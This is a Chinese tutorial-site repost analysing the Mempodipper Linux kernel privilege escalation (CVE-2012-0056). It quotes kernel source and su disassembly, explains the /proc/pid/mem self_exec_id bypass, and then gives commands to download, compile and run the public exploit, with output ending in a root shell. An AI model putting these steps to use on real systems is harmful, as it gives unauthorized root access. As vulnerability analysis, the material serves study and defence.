歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux技術 >> Linux=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)

Linux=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)

日期:2017/3/1 18:07:03   编辑:Linux技術

Linux>=2.6.39 Mempodipper本地提權分析和EXP利用(CVE-2012-0056)
/proc/pid/mem是一個用於讀取和寫入,直接通過各地尋求與相同的地址作為該進程的虛擬內存空間進程內存的接口。

影響Linux 內核> = 2.6.39
當打開/proc/pid/mem時,會調用此內核代碼:

復制代碼代碼如下:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}

任何人都可以打開/proc/pid/mem fd 的任何進程寫入 和讀取,不過,有權限檢查限制。讓我們看看寫功能:

復制代碼代碼如下:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;

看代碼有兩個檢查,以防止未經授權的寫操作:

復制代碼代碼如下:
check_mem_permission和self_exec_id。
Check_mem_permission的代碼只需調用到__check_mem_permission,代碼:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}

有兩種方法能對內存寫入。

復制代碼代碼如下:
$ su "hsmw fuck you"
Unknown id: hsmw fuck you
可以看到su的stderr 的輸出“Unknown id:”,我們可以fd 打開/proc/self/mem, 來確定在內存中的位置, 然後dup2 stderr 和mem fd, 把su $shellcode 寫入到內存中,獲得root.
已task == current測試, 用self_exec_id 匹配self_exec_id 來檢測fd 的打開。
Self_exec_id在內核中只引用的少數幾個地方。
void setup_new_exec(struct linux_binprm * bprm)
{
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);

我們創建一個子進程,用self_exec_id來exec 到一個新的進程裡面。當我們exec一個新的進程,self_exec_id會產生一個增量。這裡程序忙與execing到我們的shellcode寫su,所以其self_exec_id得到 相同的值遞增。所以我們要做的是把exec一個新的進程,fd /proc/parent-pid/mem 到父進程的PID。這個時候的FD是因為沒有權限僅僅打開檢查。當它被打開,其self_exec_id來時起作用,把我們exec來su,用self_exec_id將遞增。通過我們打開的FD從子進程返回父進程,dup2,和exec 溢出代碼到su.
接下來調試溢出的地址和ASLR隨機進程的空間地址。
在這裡得到錯誤字符串:
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
然後把它寫入到stderr:
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
關閉日志;
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
退出程序;
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
這裡可以看到0×402178,這是它調用exit函數。我們來調試“Unknown id:" 的shellcode地址。
$objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/' 0x402178
它會設置uid 和gid 為0 去執行一個SHELL。還可以重新打開dup2ing 內存之前,stderr fd 到stderr,
我們選擇另一個fd dup stderr,在shellcode,到我們dup2 ,其他fd回來到stderr。
EXP 老外寫好了。插入一段

復制代碼代碼如下:
wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#

摘自 混世魔王博客

Copyright © Linux教程網 All Rights Reserved